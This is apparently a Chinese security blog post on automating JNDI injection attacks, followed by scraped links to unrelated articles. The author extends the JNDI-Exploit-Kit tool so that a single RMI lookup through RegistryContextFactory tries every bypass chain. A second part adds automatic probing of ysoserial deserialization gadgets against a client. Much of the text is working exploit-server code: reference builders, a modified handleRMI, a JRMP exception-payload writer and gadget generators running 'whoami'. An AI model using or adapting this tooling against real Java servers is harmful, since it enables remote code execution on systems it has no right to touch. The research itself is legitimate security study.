最近学习了师傅寻找的一些JNDI漏洞的利用链受益匪浅,自己也尝试关于JNDI漏洞利用做一些挖掘,目前JNDI在利用过程我想到了两个问题。

  • 测试每一个JNDI Bypass 利用链都需要手动更改URL很不方便,能否我去请求一个地址,让目标将我所有的链跑一遍?
  • JNDI利用过程中可以通过反序列化利用,能否自动化探测反序列化利用链?

自动测试Bypass 利用链

为了让这种方式更加通用,我们首先考虑的是JDK原生的实现ObjectFactory的类,那么我注意到了下面几个类。

  • com.sun.jndi.rmi.registry.RegistryContextFactory
  • com.sun.jndi.ldap.LdapCtxFactory

RegistryContextFactory

调用分析

通过getURLs从Reference获取url列表并封装为数组,URLsToObject中对数组中的URL列表发起RMI请求,所以RegistryContextFactory满足我们的需求。

public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
//判断是否为引用对象并且factoryClassname为RegistryContextFactory
if (!isRegistryRef(var1)) {
return null;
} else {
//从引用对象中获取URL列表并循环发起调用
Object var5 = URLsToObject(getURLs((Reference)var1), var4);
if (var5 instanceof RegistryContext) {
RegistryContext var6 = (RegistryContext)var5;
var6.reference = (Reference)var1;
}
return var5;
}
}
  • getURLs获取URL必须满足RefAddr是StringRefAddr类型且Type属性为URL才会保存。
private static String[] getURLs(Reference var0) throws NamingException {
int var1 = 0;
String[] var2 = new String[var0.size()];
Enumeration var3 = var0.getAll();
//从RefAddr中获取url并保存到数组中
while(var3.hasMoreElements()) {
RefAddr var4 = (RefAddr)var3.nextElement();
//只有RefAddr是StringRefAddr类型,且Type属性为URL才会保存
if (var4 instanceof StringRefAddr && var4.getType().equals("URL")) {
var2[var1++] = (String)var4.getContent();
}
}
if (var1 == 0) {
throw new ConfigurationException("Reference contains no valid addresses");
} else if (var1 == var0.size()) {
return var2;
} else {
//返回URL数组
String[] var5 = new String[var1];
System.arraycopy(var2, 0, var5, 0, var1);
return var5;
}
}
  • URLsToObject中创建rmiURLContextFactory对象并调用getObjectInstancegetObjectInstance中判断传入的object类型如果是数组则调用getUsingURLs.
private static Object URLsToObject(String[] var0, Hashtable<?, ?> var1) throws NamingException {
rmiURLContextFactory var2 = new rmiURLContextFactory();
return var2.getObjectInstance(var0, (Name)null, (Context)null, var1);
} public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws NamingException {
if (var1 == null) {
return new rmiURLContext(var4);
} else if (var1 instanceof String) {
return getUsingURL((String)var1, var4);
} else if (var1 instanceof String[]) {
//数组类型
return getUsingURLs((String[])((String[])var1), var4);
} else {
throw new ConfigurationException("rmiURLContextFactory.getObjectInstance: argument must be an RMI URL String or an array of them");
}
}
  • getUsingURLs创建rmiURLContext并循环调用lookup发起RMI调用直到获取一个对象并返回。
private static Object getUsingURLs(String[] var0, Hashtable<?, ?> var1) throws NamingException {
if (var0.length == 0) {
throw new ConfigurationException("rmiURLContextFactory: empty URL array");
} else {
rmiURLContext var2 = new rmiURLContext(var1);
try {
NamingException var3 = null;
int var4 = 0;
while(var4 < var0.length) {
try {
Object var5 = var2.lookup(var0[var4]);
return var5;
} catch (NamingException var9) {
var3 = var9;
++var4;
}
}
throw var3;
} finally {
var2.close();
}
}
}

利用分析

通过RegistryContextFactory利用只能使用rmi协议发起请求,所以目前只能用这种方式检测rmi相关的利用,在Orange师傅的JNDI- Exploit- Kit工具中集成了一部分关于RMI的利用链,其中也包含了TomcatGROOVY的bypass,当然Groovy的执行也依赖Tomcat。工具运行后会生成一些RMI的URL,我们可以将RegistryContextFactory也加到利用链中。

RMIRefServer中包含了RMI处理的逻辑,因此可以把RegistryContextFactory引用也注册进去。

/*
* Fuzz All Bypass
* Created by 藏青
*/
public ResourceRef execAll() throws RemoteException, NamingException{
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
//Mapper.references中保存了随机生成的rmi名称和利用方式的关系
for (Map.Entry<String, String> entry : Mapper.references.entrySet()) {
String mapKey = entry.getKey();
String mapValue = entry.getValue();
//如果是RegistryContextFactory则跳过,否则会造成递归查询
if(!mapValue.equals("BypassTestAll")){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/%s", ServerStart.rmi_addr,mapKey)));
}
}
return ref;
}

RMIRefServer#handleRMI中会根据请求的url找到对应的处理方法生成引用对象并返回,所以我们只要将我们构造的execAll方法也加入到if判断中即可。

private boolean handleRMI ( ObjectInputStream ois, DataOutputStream out ) throws Exception {
int method = ois.readInt(); // method
ois.readLong(); // hash
if ( method != 2 ) { // lookup
return false;
}
//获取rmi请求的对象名称,这里是随机生成的额名称
String object = (String) ois.readObject();
System.out.println(getLocalTime() + " [RMISERVER] >> Is RMI.lookup call for " + object + " " + method);
String cpstring = this.classpathUrl.toString();
//根据取出的名称从Mapper.references中取出利用方式对应的名称
String reference = Mapper.references.get(object);
if (reference == null) {
System.out.println(getLocalTime() + " [RMISERVER] >> Reference that matches the name(" + object + ") is not found.");
//return false;
cpstring = "BypassByGroovy";
}
URL turl = new URL(cpstring + "#" + reference);
out.writeByte(TransportConstants.Return);// transport op
try ( ObjectOutputStream oos = new MarshalOutputStream(out, turl) ) {
oos.writeByte(TransportConstants.NormalReturn);
new UID().write(oos);
//创建ReferenceWrapper包装类
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
// 根据名称不同调用不同的方法得到对应的引用对象
if (reference.startsWith("BypassByEL")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByEL.");
Reflections.setFieldValue(rw, "wrappee", execByEL());
} else if (reference.startsWith("BypassByGroovy")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassByGroovy.");
Reflections.setFieldValue(rw, "wrappee", execByGroovy());
}
//将我们的构造的execAll方法加到判断中
else if (reference.startsWith("BypassTestAll")){
System.out.println(getLocalTime() + " [RMISERVER] >> Sending local classloading reference for BypassTestAll.");
Reflections.setFieldValue(rw, "wrappee", execAll());
}
else {
System.out.println(
String.format(
getLocalTime() + " [RMISERVER] >> Sending remote classloading stub targeting %s",
new URL(cpstring + reference.concat(".class"))));
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", reference, turl.toString()));
}
Field refF = RemoteObject.class.getDeclaredField("ref");
refF.setAccessible(true);
refF.set(rw, new UnicastServerRef(12345));
oos.writeObject(rw);
oos.flush();
out.flush();
}
return true;
}

由于util.Mapper#references中包含了引用关系,所以这里也需要做下更改。

static {
...
references.put(RandomStringUtils.randomAlphanumeric(6).toLowerCase(),"BypassTestAll");
instructions.put("BypassTestAll","Build in "+ withColor("JDK - (BYPASSAll by @藏青)",ANSI_RED) +" whose test All Bypass Payload");
}

当然我们也可以把之前分析的一些利用链也加进去,但是这并不是我们本片文章的重点,就不分析了。添加并启动后,可以看到我们我们添加的利用链地址。

在tomcat中请求我们创建的registry会将所有的利用链跑一遍,如果利用失败则会导致异常进入下一个利用链,直到跑成功获取对象并返回。

我们也可以从server端进行验证,因为我这里使用的tomcat8所以跑到el表达式后利用成功并返回。

栈溢出

忽然想到如果我们在引用中的地址也是RegistryContextFactory那不就会导致递归的lookup查询,是否会产生什么问题。服务端代码如下:

Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference("javax.sql.DataSource","com.sun.jndi.rmi.registry.RegistryContextFactory",null);
ref.add(new StringRefAddr("URL","rmi://127.0.0.1:1099/Foo"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);

经过测试递归查询会触发tomcat的栈溢出异常,但是并不会对程序的使用产生影响。

LdapCtxFactory

LdapCtxFactoryRegistryContextFactory相对应,具体的过程不分析了,最终是通过LdapCtxFactory#getUsingURL来执行,但是只会获取到DirContext并没有调用Lookup方法,所以似乎不能利用。

private static DirContext getUsingURL(String var0, Hashtable<?, ?> var1) throws NamingException {
Object var2 = null;
LdapURL var3 = new LdapURL(var0);
String var4 = var3.getDN();
String var5 = var3.getHost();
int var6 = var3.getPort();
String var8 = null;
String[] var7;
if (var5 == null && var6 == -1 && var4 != null && (var8 = ServiceLocator.mapDnToDomainName(var4)) != null && (var7 = ServiceLocator.getLdapService(var8, var1)) != null) {
String var9 = var3.getScheme() + "://";
String[] var10 = new String[var7.length];
String var11 = var3.getQuery();
String var12 = var3.getPath() + (var11 != null ? var11 : "");
for(int var13 = 0; var13 < var7.length; ++var13) {
var10[var13] = var9 + var7[var13] + var12;
}
var2 = getUsingURLs(var10, var1);
((LdapCtx)var2).setDomainName(var8);
} else {
var2 = new LdapCtx(var4, var5, var6, var1, var3.useSsl());
((LdapCtx)var2).setProviderUrl(var0);
}
//返回DirContext对象
return (DirContext)var2;
}

自动测试反序列化利用链

通过对问题一的分析,我们现在只能利用RMI协议来协助我们一次性发起多个RMI调用,目前的大多数工具都是基于Ldap来进行反序列化利用的,不过在RMI中也可以通过反序列化利用。

首先我们要利用的场景是去通过RMI攻击客户端,所以可以利用ysoserial#JRMPListener模块来利用,它构建了一个JRMP监听,当客户端发起请求时会构建一个异常对象BadAttributeValueExpException,并在这个异常对象的val属性中放入我们要构造好的恶意对象。

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl);
//写入异常标识
oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);
//构建BadAttributeValueExpException异常对象,并在val属性中加入恶意对象。
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Reflections.setFieldValue(ex, "val",payload );
oos.writeObject(ex);

当客户端发起请求时,会在StreamRemoteCall#executeCall中通过判断returnType是否为TransportConstants#ExceptionalReturn来决定是否反序列化,也就是只有返回出现异常时才会对异常对象进行反序列化。

switch (returnType) {
case TransportConstants.NormalReturn:
break;
case TransportConstants.ExceptionalReturn:
Object ex;
try {
//当返回类型为ExceptionalReturn则进行反序列化
ex = in.readObject();
} catch (Exception e) {
throw new UnmarshalException("Error unmarshaling return", e);
}
// An exception should have been received,
// if so throw it, else flag error
if (ex instanceof Exception) {
exceptionReceivedFromServer((Exception) ex);
} else {
throw new UnmarshalException("Return type not Exception");
}
// Exception is thrown before fallthrough can occur
default:
if (Transport.transportLog.isLoggable(Log.BRIEF)) {
Transport.transportLog.log(Log.BRIEF,
"return code invalid: " + returnType);
}
throw new UnmarshalException("Return code invalid");
}

但是由于我们构建了一个异常对象,在执行过程中会抛出异常。而我们在分析RegistryContextFactory时说过,只有当返回正常时才会停止,返回异常会继续请求其他的RMI地址,所以如果这样利用,只能把所有的反序列化利用链Fuzz一遍,我们并不知道哪个利用链可用。

失败尝试一

分析在StreamRemoteCall#executeCall的利用过程我发现,只要设置了TransportConstants#ExceptionalReturn都会进行反序列化,如果我们仅仅设置了这个字段,但是传入的是只是我们的恶意对象,能否绕过此处的报错?所以我对JRMPListener做了如下更改。

但是在反序列化结束后会判断我们传入的是否为异常对象,如果不是也会抛异常。

失败尝试二

继续分析发现RegistryImpl_Stub#lookup中也会进行反序列化,但是会将反序列化的结果转成Remote类型,如果我们返回的不是Remote的实现类也会导致异常。

利用分析

虽然我们不能直接通过是否继续请求来判断利用链存在,但是还是可以通过DNSLog的方式进行判断。我们可以在每次请求后获取DNSLog的结果,如果有返回值则代表利用链可用。

但是在编写好代码测试时惊喜的发现,在利用失败捕获异常时只会捕获NamingException类型的异常。

如果利用链没找到,会抛出CommunicationException异常,而这个异常是NamingException的子类,因此会被捕获

如果利用成功,抛出的是其他类型的异常,则不会被捕获。

但是这里还有一个问题,有些利用类存在,但是由于JDK版本或者其他问题导致不能利用,比如CC1,这个时候也会抛出其他异常,但是并不能触发漏洞,所以在自动化探测的时候要将这些类去除掉。

大概测了下在CC链中CC1,CC3,CC7都不能使用。CC1CC3都是因为JDK版本过高无法使用可以理解,但是在CC7中明明可以执行成功但是还是会返回CommunicationException异常。

其他的利用链也先不测试了,这里只大致说下思路。通过这种实现已经可以达到自动化探测部分利用链了。最终我们服务端请求中最后一个请求的gadget就是存在的利用链。

代码实现主要是在JNDI-Exploit-Kit基础上做了一点点小改进,主要是在if判断中继续加上了execAllGadgat方法。

execAllGadgat方法中遍历已经添加的利用链并添加到引用对象中。

public static String[] gadgets=new String[]{"CommonsBeanutils1","CommonsCollections10","CommonsCollections2","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections8","CommonsCollections9","Hibernate1","JBossInterceptors1","JSON1","JavassistWeld1","Jdk7u21","MozillaRhino1","MozillaRhino2","ROME","Vaadin1","Jre8u20"};
public Object execAllGadgat() {
ResourceRef ref = new ResourceRef("xxxx", null, "", "",
true, "com.sun.jndi.rmi.registry.RegistryContextFactory", null);
for(String gadget:gadgets){
ref.add(new StringRefAddr("URL",String.format("rmi://%s:1099/serial/%s", ServerStart.rmi_addr,gadget)));
}
return ref;
}

由于我们的Payload并没有在references中添加,因此从Map中会获取不到,所以我这里加了一个判断,当object以ser开头,则表示是通过反序列化利用,给reference赋值。

最后再加上一个引用判断,如果以serial开头则取出调用链名称获取恶意对象直接写入。

public Object execGadgets(String className) throws Exception {
Class clazz = Class.forName("ysoserial.payloads."+className);
ObjectPayload<?> payload = (ObjectPayload<?>) clazz.newInstance();
final Object objBefore = payload.getObject("whoami", "exec_global");
return objBefore;
}

总结

虽然这次的小发现对于JNDI漏洞的利用来说可能有些画蛇添足,通过这几天的研究也发现了自己对RMI请求理解上的不足,最后对这种利用方式做一个总结。

  • 由于我们要传入一个ObjectFactory类名,所以需要一个Reference对象,但是JDK自带的只有LinkRef,不能传递ObjectFactory的类名,所以这里还是使用了tomcat中的ResourceRef,所以还是有些依赖Tomcat。
  • 由于LdapCtxFactory最终没有调用Lookup方法,因此目前只能通过RMI协议来进行自动化检测

  • 由于CC1,CC3,CC7无法通过返回的异常类型判断是否存在,所以不能检测这几条链。目前我只测了CC链,其他类型的利用链是否有异常未测试

JNDI漏洞利用探索的更多相关文章

  1. Nmap备忘单:从探索到漏洞利用 Part1

    在侦查过程中,信息收集的初始阶段是扫描. 侦查是什么? 侦查是尽可能多的收集目标网络的信息.从黑客的角度来看,信息收集对攻击非常有帮助,一般来说可以收集到以下信息: 电子邮件.端口号.操作系统.运行的 ...

  2. JBoss远程方法调用漏洞利用详解

    早上起床打开微博看到空虚浪子心大神发的一篇有关Jboss漏洞的文章,对我等菜鸟来说那边文章看起来还是很吃力的,所以查了查国内外的资料,翻译写了这边文章,记录一下. 在JBoss服务器上部署web应用程 ...

  3. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  4. Linux环境下常见漏洞利用技术(培训ppt+实例+exp)

    记得以前在drops写过一篇文章叫 linux常见漏洞利用技术实践 ,现在还可以找得到(https://woo.49.gs/static/drops/binary-6521.html), 不过当时开始 ...

  5. apt28组织新的flash漏洞利用包dealerschoice分析

    17号paloalto发布了文章dealerschoice-sofacys-flash-player-exploit-platform,文中提到apt28正在编写adobe flash player的 ...

  6. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  7. Struts2漏洞利用实例

    Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...

  8. LFI漏洞利用总结

    主要涉及到的函数 include(),require().include_once(),require_once() magic_quotes_gpc().allow_url_fopen().allo ...

  9. Drupal 7.31SQL注入getshell漏洞利用详解及EXP

    0x00 这个漏洞威力确实很大,而且Drupal用的也比较多,使用Fuzzing跑字典应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp不再深入下去. 0x0 ...

随机推荐

  1. day2 数组字符串逆序存放正序对接调试

    这个问题仔细想了想,是s,t,s[],t[],重定义了,导致输入的是s,t这个定义变量,与传参传的是指针变量就不匹配了. 如果加上对s,t的地址,让传参的形式想匹配,还是报错,这块也没有弄懂,初步觉的 ...

  2. 《剑指offer》面试题55 - II. 平衡二叉树

    问题描述 输入一棵二叉树的根节点,判断该树是不是平衡二叉树.如果某二叉树中任意节点的左右子树的深度相差不超过1,那么它就是一棵平衡二叉树. 示例 1: 给定二叉树 [3,9,20,null,null, ...

  3. [Altium Designer 学习]怎样输出Gerber文件和钻孔文件

    为了资料保密和传输方便,交给PCB厂商打样的资料一般以Gerber和钻孔文件为主,换句话说,只要有前面说的两种文件,就能制作出你想要的PCB了. 一般来说,交给PCB厂商的Gerber有以下几层: G ...

  4. azure 控制台小工具

    这个控制台往往被忽略.

  5. Ajax_Post用法

    Ajax_Post用法 post方法的用法其实跟get是大同小异的 唯一不同的地方就是我们需要修改server.js的文件 只需要将get修改为post即可 那么我为了方便操作我这里选择的是直接在下面 ...

  6. JAVA主要类集分类

    包装类 Integer包装类 方法 返回值 功能描述 byteValue() byte 以 byte 类型返回该 Integer 的值 intValue() int 以 int 型返回此 Intege ...

  7. WebGPU | 相关知识概述

    首先看下WebGPU的目标: 同时支持实时屏幕渲染和离屏渲染. 使通用计算能够在 GPU 上高效执行. 支持针对各种原生 GPU API 的实现:Microsoft 的 D3D12.Apple 的 M ...

  8. Anchor CMS 0.12.7 跨站请求伪造漏洞(CVE-2020-23342)

    这个漏洞复现相对来说很简单,而且这个Anchor CMS也十分适合新手训练代码审计能力.里面是一个php框架的轻量级设计,通过路由实现的传递参数. 0x00 漏洞介绍 Anchor(CMS)是一款优秀 ...

  9. golang中的rpc开发

    golang中实现RPC非常简单,官方提供了封装好的库,还有一些第三方的库 golang官方的net/rpc库使用encoding/gob进行编解码,支持tcp和http数据传输方式,由于其他语言不支 ...

  10. gin中jsonp的用法

    package main import ( "github.com/gin-gonic/gin" "net/http" ) func main() { r := ...